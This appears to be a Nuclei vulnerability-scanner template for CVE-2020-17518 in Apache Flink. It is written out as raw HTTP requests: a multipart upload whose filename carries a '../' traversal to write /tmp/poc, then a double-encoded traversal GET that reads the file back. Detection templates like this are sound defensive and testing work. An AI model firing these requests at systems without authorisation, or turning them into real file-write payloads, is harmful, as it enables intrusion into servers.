33 lines
979 B
YAML
33 lines
979 B
YAML
id: CVE-2020-17518
|
|
|
|
info:
|
|
name: Apache Flink Upload Path Traversal
|
|
author: pd-team
|
|
severity: critical
|
|
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /jars/upload HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
Content-Length: 187
|
|
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
|
|
|
|
test-poc
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
|
|
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this.
|